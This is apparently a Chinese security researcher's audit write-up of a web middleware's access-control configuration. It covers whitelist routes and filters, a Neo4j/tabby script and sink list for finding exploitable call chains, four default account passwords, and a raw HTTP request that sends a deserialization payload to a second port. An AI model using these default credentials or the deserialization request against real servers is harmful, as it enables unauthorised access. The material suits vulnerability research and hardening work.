某web中间件审计分析
某web中间件审计分析
权限认证
heimdall和console上下文是一样的配置,console下面的漏洞heimdall中应该都有,
还有一个sysweb,

console的web.xml配置中存在白名单路由,
其他路由会被拦截,会在拦截器中检测用户权限,然后才会给filter检测,
<url-pattern>/notinrealm/rest/*</url-pattern>
<url-pattern>/service</url-pattern>
<url-pattern>/rest/api/*</url-pattern>
<url-pattern>/rest/loginchoose</url-pattern>
<url-pattern>/rest/tologinchoose</url-pattern>
<url-pattern>/rest/login</url-pattern>
<url-pattern>/rest/logout</url-pattern>
<url-pattern>/403error.jsp</url-pattern>
<url-pattern>/408error.jsp</url-pattern>
<url-pattern>/css/*</url-pattern>
<url-pattern>/images/*</url-pattern>
<url-pattern>/res/*</url-pattern>
<url-pattern>/dwr/*</url-pattern>
<url-pattern>/script/*</url-pattern>
<url-pattern>/pages/jdbc/js/validate.message_en_US.js</url-pattern>
<url-pattern>/pages/jdbc/js/validate.message_zh_CN.js</url-pattern>
<url-pattern>/pages/security/js/*</url-pattern>
<url-pattern>/rest/i18n</url-pattern>
<url-pattern>/verCode</url-pattern>
<url-pattern>/iswaf.api</url-pattern>
<url-pattern>/agreement_zh_CN.html</url-pattern>
<url-pattern>/agreement_en_US.html</url-pattern>
其他路由会检测用户角色,
<auth-constraint>
<role-name>xxx</role-name>
<role-name>security</role-name>
<role-name>auditor</role-name>
</auth-constraint>其中存在的filter,

SpringI18nFilter过滤恶意字符,范围:/*

ConsoleFilter可以给用户添加HEIMDALL属性,范围:/*

LoginFilter可以给用户添加checked属性,可以跳过,范围:/rest/*

AuthFilter可以伪造defaultRealm,twusers.properties存在密码,范围:/rest/api/*,
先获取twusers.properties中配置的密码,然后匹配用户传入的是否正确,


密码如下:
这两个密码为初始密码,首次登录需要更改密码,
cli cli123.com
thanos thanos123.com
以下两个密码需要系统管理员修改
security security123.com
auditor auditor123.com

因此当系统管理员改了cli、thanos用户密码时,AuthFilter就绕不过了,
就当管理员没有改密码,我们就可以利用默认口令登录后台了,都不需要绕AuthFilter了,因此未授权访问/rest/api/*的思路不行,
AuditFilter包涵/rest/api/会检测session,范围:/*

AuthorityFilter其中存在黑名单,存在值就不能包涵urlsMap或者不能开头是urlsMap,范围: /*

黑名单如下:

SignAuthFilter存在黑名单,可能存在绕过,范围:/*

sysweb的web.xml,
/rjcs需要admin权限,其他路径就是白名单,

而且sysweb中只注册了一个servlet,白名单直接失效,

综上:只有console的web.xml中的白名单可以分析(之前的大部分漏洞出也自白名单),或者存在以new ServerSocket监听的端口或者其他web端口(如最近的反序列化)
自动化查询恶意函数调用链
不考虑权限绕过的情况下,对于大型项目,可以利用tabby(https://github.com/tabby-sec/tabby)辅助我们查找漏洞利用链,
tabby分析jar包后,然后将关系节点导入了neo4j数据库中,
我们可以利用python来实现查找恶意函数调用链(编写查询语法,输出格式),
我们需要定义如口函数,
如web端可以被访问的方法或者注释(大部分路由的类名会包涵control字段):
service
dopost
doget
@WebServlet
@Path
@requestmapping、@postmapping、@getmapping
我们更改queue_2的查询条件,就可以输出将恶意函数调用链子,
查询脚本如下(相关注释语句为常用的查询语法):
import time
from neo4j import GraphDatabase
from openpyxl import Workbook
import signal
import sys
# 查看函数调用关系,输出成调用链
def cleanup():
print("查询退出\n")
sys.exit(0)
def handle_sigint(sig, frame):
global data
global neo4j
neo4j.close()
# 去重
data = list(set(data))
xlsx = []
for i in data:
if i is not None:
method_class = i.split(" -> ")
xlsx.append(method_class)
# print(xlsx)
# 创建一个新的工作簿
wb = Workbook()
ws = wb.active
# 遍历子数组,把每个子数组写成一行
for row in xlsx:
ws.append(row)
# 保存为 xlsx 文件
wb.save("C:\\Users\\xxx\\Desktop\\output.xlsx")
print("中断查询,写入部分查询结果成功!")
sys.exit(0)
signal.signal(signal.SIGINT, handle_sigint)
# 设置 Neo4j 连接
neo4j = GraphDatabase.driver("bolt://localhost:7687", auth=("neo4j", "xxx"))
queue_1 = '''
MATCH path = (start:Function)-[:CALLS*]->(end:Function)
WHERE start.name = 'copyAddress' AND end.name = 'batchCopy'
RETURN path
MATCH path = (start:Function)-[:CALLS*]->(end:Function)
WHERE start.name = 'editPrivateAddress' AND end.name = 'editData'
RETURN path
MATCH path = (start:Function)-[:CALLS*]->(end:Function)
WHERE start.name = 'aaa' AND end.name = 'ddd'
RETURN path
MATCH (source:Function)
where source.class contains "Controller"
MATCH (sink:Function {name: "connection"})
CALL apoc.algo.allSimplePaths(source, sink, "CALLS>", 5) YIELD path
RETURN path
LIMIT 5
MATCH (source:Function)
where source.class contains "Controller"
MATCH (sink:Function {name: "fwrite"})
CALL apoc.algo.allSimplePaths(source, sink, "CALLS>", 5) YIELD path
RETURN path
LIMIT 5
MATCH (source:Function)
where source.class contains "Controller"
and source.name <> '__construct'
MATCH (sink:Function)
where sink.name in {vul_list}
CALL apoc.algo.allSimplePaths(source, sink, "CALLS>", 5) YIELD path
where none(n in nodes(path) where n.class <> 'Controller')
RETURN path
LIMIT 1000
MATCH (source:Function)
where source.class contains "Controller"
and source.name <> '__construct'
MATCH (sink:Function)
where sink.name in {vul_list}
CALL apoc.algo.allSimplePaths(source, sink, "CALLS>", 5) YIELD path
WHERE ALL(i IN range(0, size(nodes(path)) - 2)
WHERE nodes(path)[i].name <> 'request')
and length(path) > 1 and nodes(path)[0].namespace = nodes(path)[1].namespace
RETURN path
LIMIT 2000
MATCH (source:Function)
where source.class contains "Controller"
and source.name <> '__construct'
MATCH (sink:Function)
where sink.name in {vul_list}
CALL apoc.algo.allSimplePaths(source, sink, "CALLS>", 6) YIELD path
where size(nodes(path)) = 7
RETURN path
LIMIT 5000
'''
# java 查询调用类
'''
MATCH (source:Method)
WHERE source.CLASSNAME = "weaver.weixin.api.controller.WeaverCloudApiForThirdController"
MATCH (sink:Method)<-[:CALL]-(m1:Method)
WHERE ANY(keyword IN ["FileInputStream#<init>", "File#<init>"] where sink.NAME0 contains keyword)
CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>",3) YIELD path
RETURN *
LIMIT 50
MATCH (source:Method)
WHERE source.CLASSNAME contains "Controller"
and not source.CLASSNAME in ['com.jfinal.core.Controller']
MATCH (sink:Method)<-[:CALL]-(m1:Method)
WHERE sink.NAME in {vul_list}
or sink.NAME0 in {vul_class}
CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 2) YIELD path
RETURN *
LIMIT 5000
WHERE ALL(i IN range(0, size(nodes(path)) - 2)
WHERE not nodes(path)[i].name in ['toString','equals'])
MATCH (source:Method)
WHERE source.NAME in ['execute']
MATCH (sink:Method)<-[:CALL]-(m1:Method)
WHERE sink.NAME in {vul_list}
or sink.NAME0 in {vul_class}
CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 6) YIELD path
where ALL(i IN range(1, size(nodes(path)) - 2)
WHERE NOT ANY(prefix IN ['java.'] WHERE nodes(path)[i].CLASSNAME CONTAINS prefix)
and not nodes(path)[i].NAME in ['execute'])
RETURN *
LIMIT 5000
MATCH (source:Method)
WHERE source.NAME in ['doGet','doPost', 'service', 'execute']
MATCH (sink:Method)<-[:CALL]-(m1:Method)
WHERE sink.NAME in {vul_list}
CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 10) YIELD path
where ALL(i IN range(1, size(nodes(path)) - 2)
WHERE NOT ANY(prefix IN ['java.'] WHERE nodes(path)[i].CLASSNAME CONTAINS prefix)
and not nodes(path)[i].NAME in ['doGet','doPost', 'service', 'execute'])
RETURN *
LIMIT 5000
WITH ["weaver.monitor.controller", "weaver.workflow.controller"] AS prefixes
MATCH (source:Method)
WHERE ANY(prefix IN prefixes WHERE source.CLASSNAME STARTS WITH prefix)
RETURN source
查询速度有明显提升
WITH ["java."] AS prefixes
MATCH (source:Method)
WHERE source.CLASSNAME STARTS WITH 'weaver.monitor.controller'
MATCH (sink:Method)<-[:CALL]-(m1:Method)
WHERE sink.NAME in {vul_list}
CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 10) YIELD path
where ALL(i IN range(1, size(nodes(path)) - 2)
WHERE NOT ANY(prefix IN prefixes WHERE nodes(path)[i].CLASSNAME STARTS WITH prefix))
RETURN *
LIMIT 5000
添加标签
MATCH (m:Method)
WHERE m.CLASSNAME STARTS WITH 'java.'
SET m:JavaSystemClass
RETURN count(m) AS updated_count
删除标签
MATCH (m:JavaSystemClass)
REMOVE m:JavaSystemClass
目前最优解, 注意path没有包含sink点,限制长度为中间节点的长度,
MATCH (source:Method)
WHERE source.CLASSNAME STARTS WITH 'weaver.monitor.controller'
MATCH (sink:Method)<-[:CALL]-(m1:Method)
WHERE sink.NAME in {vul_list}
or sink.NAME0 in {vul_class}
CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 6) YIELD path
WHERE NONE(n IN nodes(path)[1..] WHERE n:JavaSystemClass)
RETURN *
LIMIT 5000
MATCH (source:Method)
WHERE source.CLASSNAME STARTS WITH 'weaver.monitor.rule.common.ui.control'
and source.NAME in ['doGet','doPost']
MATCH (sink:Method)<-[:CALL]-(m1:Method)
WHERE sink.NAME in {vul_list}
or sink.NAME0 in {vul_class}
CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 6) YIELD path
WHERE NONE(n IN nodes(path)[1..] WHERE NOT (n:weaverClass) OR n.NAME IN ['doGet','doPost'])
RETURN *
LIMIT 5000
'''
session = neo4j.session()
chains = []
'''
JXPathContext context = JXPathContext.newContext(null);
String key = (String) context.getValue("User.new(\"tom\")");
'''
data = []
def search_vul(chains):
vul_list = ["getValue", "getFileNames", "deleteIfExists", "load", "loadLibrary", "accept","connect",
"createSocket", "loadClass", "start", "ZipOutputStream", "ZipFile", "Proxy", "XMLDecoder", "Statement",
"PreparedStatement", "createFile", "ResourceBundle", "DocumentBuilderFactory", "forName", "command",
"getOutputStream", "getInputStream", "move", "createNewFile", "getAbsolutePath", "getCanonicalPath",
"readline", "invoke", "executeQuery", "executeUpdate", "getURLConnection", "write", "getConnection",
"execute", "openStream", "openConnection", "getContent", "read", "readObjectFromXml", "putTemplate",
"evaluate", "newInstance", "execute", "evaluate", "unTar", "putTemplate", "eval", "unserialize",
"readUnshared", "getRuntime", "lookup", "readObject", "parseObject", "readValue", "writeValueAsString",
"parseExpression", "evaluateExpression", "eval", "write", "decompress", "copy", "SAXParser", "upload",
"getSize", "readAllBytes", "readAllLines", "getOriginalFilename", "download", "fromXML"]
vul_class = [
"org.yaml.snakeyaml.Yaml",
"org.apache.http.HttpRequest",
"org.apache.http.impl.conn.DefaultHttpClientConnection",
"org.apache.http.impl.client.BasicHttpEntityEnclosingRequest",
"org.apache.http.client.HttpClient",
"okhttp3.OkHttpClient",
"org.apache.http.client.HttpClient",
"java.net.URLConnection",
"org.apache.xml.utils.XmlUtils",
"org.xml.sax.XMLReaderFactory",
"javax.xml.xpath.XPathExpression",
"javax.xml.transform.sax.SAXTransformerFactory",
"javax.xml.transform.TransformerFactory",
"javax.xml.validation.SchemaFactory",
"javax.xml.parsers.SAXParserFactoryImpl",
"javax.xml.parsers.SAXParserImpl",
"org.apache.xerces.internal.dom.DOMParserImpl",
"org.apache.xerces.internal.dom.DOMParser",
"org.apache.xerces.internal.parsers.SAXParser",
"org.apache.xerces.internal.parsers.XMLParser",
"javax.xml.parsers.DocumentBuilderImpl",
"javax.xml.parsers.DocumentBuilderFactoryImpl",
"javax.xml.stream.XMLInputFactory",
"org.jdom2.input.SAXBuilder",
"javax.xml.parsers.DocumentBuilderFactory",
"org.dom4j.io.SAXReader",
"org.xml.sax.SAXParser",
"javax.xml.parsers.SAXParserFactory",
"org.xml.sax.XMLReader",
"java.net.ServerSocket",
"java.net.Socket",
"org.apache.velocity.Template",
"org.apache.commons.exec.Execute",
"java.lang.ProcessBuilder",
"org.springframework.transaction.jta.JtaTransactionManager",
"java.util.zip.ZipInputStream",
"java.io.PrintWriter",
"org.springframework.web.multipart.commons.CommonsMultipartFile",
"org.springframework.web.multipart.MultipartFile",
"org.apache.commons.fileupload.servlet.ServletFileUpload",
"java.io.BufferedReader",
"org.apache.commons.io.IOUtils",
"java.io.FileOutputStream",
"java.io.FileInputStream",
"java.io.File",
"java.util.zip.ZipFile",
"org.apache.commons.compress.archivers.zip.ZipFile",
"org.apache.commons.compress.archivers.zip.ZipArchiveInputStream",
"org.apache.commons.compress.archivers.tar.TarArchiveInputStream",
"org.apache.commons.compress.compressors.gzip.GzipCompressorInputStream",
"org.apache.commons.compress.archivers.jar.JarFile",
"java.util.jar.JarFile",
"org.apache.commons.io.FileUtils",
"org.apache.commons.compress.archivers.ArchiveInputStream",
"net.lingala.zip4j.core.ZipFile",
"org.apache.tools.zip.ZipFile",
"net.lingala.zip4j.io.ZipInputStream",
"java.util.zip.ZipInputStream",
"com.thoughtworks.xstream.XStream"
]
'''
# vul_list = ["readObject"]
vul_class = [
"java.util.zip.ZipFile",
"org.apache.commons.compress.archivers.zip.ZipFile",
"org.apache.commons.compress.archivers.zip.ZipArchiveInputStream",
"org.apache.commons.compress.archivers.tar.TarArchiveInputStream",
"org.apache.commons.compress.compressors.gzip.GzipCompressorInputStream",
"org.apache.commons.compress.archivers.jar.JarFile",
"java.util.jar.JarFile",
"org.apache.commons.io.FileUtils",
"org.apache.commons.compress.archivers.ArchiveInputStream",
"net.lingala.zip4j.core.ZipFile",
"org.apache.tools.zip.ZipFile",
"net.lingala.zip4j.io.ZipInputStream",
"java.util.zip.ZipInputStream"
]
'''
for i in range(len(vul_class)):
vul_class[i] = vul_class[i] + "#<init>"
# print(vul_class)
# 表示查询链的大小为3
# CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 2) YIELD path
# where size(nodes(path)) = 3
# 注意查询节点需要大写
# 添加原生类标签,
queue_biaoqian = '''
MATCH (m:Method)
WHERE m.CLASSNAME STARTS WITH 'weaver.monitor'
SET m:weaverClass
RETURN count(m) AS updated_count
'''
# result_biaoqian = session.run(queue_biaoqian)
# print("添加原生类标签:" + str(result_biaoqian.single()['updated_count']) + "个")
# vul_list_session = {"generateSessionID", }
# 注意path没有包含sink点,限制长度为中间节点的长度,
queue_2 = f'''
MATCH (source:Method)
MATCH (source_c:Class)
WHERE source.CLASSNAME = source_c.NAME
and source_c.ANNOTATIONS CONTAINS "RequestMapping"
AND (
source.ANNOTATIONS CONTAINS "LoginStatusChecker"
AND source.ANNOTATIONS CONTAINS "required"
)
OR (
source_c.ANNOTATIONS CONTAINS "LoginStatusChecker"
AND source_c.ANNOTATIONS CONTAINS "required"
)
MATCH (sink:Method)<-[:CALL]-(m1:Method)
WHERE sink.NAME in {vul_list}
CALL apoc.algo.allSimplePaths(source, m1, "ALIAS>|CALL>", 7) YIELD path
RETURN *
LIMIT 500
'''
# WITH ["java."] AS prefixes
# where ALL(i IN range(1, size(nodes(path)) - 2)
#WHERE NOT ANY(prefix IN prefixes WHERE nodes(path)[i].CLASSNAME STARTS WITH prefix))
# WHERE sink.CLASSNAME contains "File"
result = session.run(queue_2)
# 输出调用链
for record in result:
path = record["path"] # 获取路径对象
# print("完整的调用链:")
# print(str(path))
# 用于存储每条完整调用链的列表
chain = []
# 遍历路径中的节点并构建每条调用链
for i in range(0, len(path.nodes) - 1, 2):
source_node = path.nodes[i]
target_node = path.nodes[i + 1]
relationship = path.relationships[i] # 获取关系
# 将每个方法及关系添加到链中
chain.append(
f"{source_node['NAME']}({source_node['CLASSNAME']}) -> {target_node['NAME']}({target_node['CLASSNAME']})")
# 输出每个方法的签名
# print(f"方法: {source_node['NAME']}, 签名: {source_node['SIGNATURE']}")
# print(f"方法: {target_node['NAME']}, 签名: {target_node['SIGNATURE']}")
# 输出完整的调用链
if len(path.nodes) == 1:
print(f"{record['source']['NAME']}({record['source']['CLASSNAME']})" + " -> ".join(
chain) + f" -> {record['sink']['NAME0']}")
data.append(f"{record['source']['NAME']}({record['source']['CLASSNAME']})" + " -> ".join(
chain) + f" -> {record['sink']['NAME0']}")
else:
# print(str(record))
print(" -> ".join(chain) + f" -> {record['sink']['NAME0']}")
data.append(" -> ".join(chain) + f" -> {record['sink']['NAME0']}")
# print("=" * 50)
start_time = time.time()
search_vul(chains)
end_time = time.time()
print("查询时间消耗: " + str((end_time - start_time)/60) + "m")
# 关闭连接
neo4j.close()
# 去重
data = list(set(data))
xlsx = []
for i in data:
if i is not None:
method_class = i.split(" -> ")
xlsx.append(method_class)
# print(xlsx)
# 创建一个新的工作簿
wb = Workbook()
ws = wb.active
# 遍历子数组,把每个子数组写成一行
for row in xlsx:
ws.append(row)
# 保存为 xlsx 文件
wb.save("C:\\Users\\xxx\\Desktop\\output.xlsx")
print("写入成功!")查询效果如下,最后查询结果会保存在xlsx中,:

/ejbserver/ejb反序列化-另一个端口5100
之前/ejbserver/ejb接口的反序列化端口公开漏洞显示的是8088端口,
ClientMain类会加载jar并运行,因此5100也可以反序列化成功,
POST /ejbserver/ejb HTTP/1.1
Host: 192.168.91.129:5100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.91.129:9060
Referer: http://192.168.91.129:9060/
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Cookie: console-f-4b12-9=EA58D8605F623CC1589703C8AC34D8C0
Content-Length: 0
{{file(D:\output.ser)}}

配置也是5100端口,

当然,要是设置了-Dcom.tongweb.tongejb.server.httpd.ServerServlet.activated=false,ServerServlet的service就会返回空,不会再反序列化了,

分析TongWeb多个组件权限配置缺陷,揭示默认账户、白名单绕过及5100端口反序列化风险。
由 AI 根据全文自动生成,仅供参考,以原文为准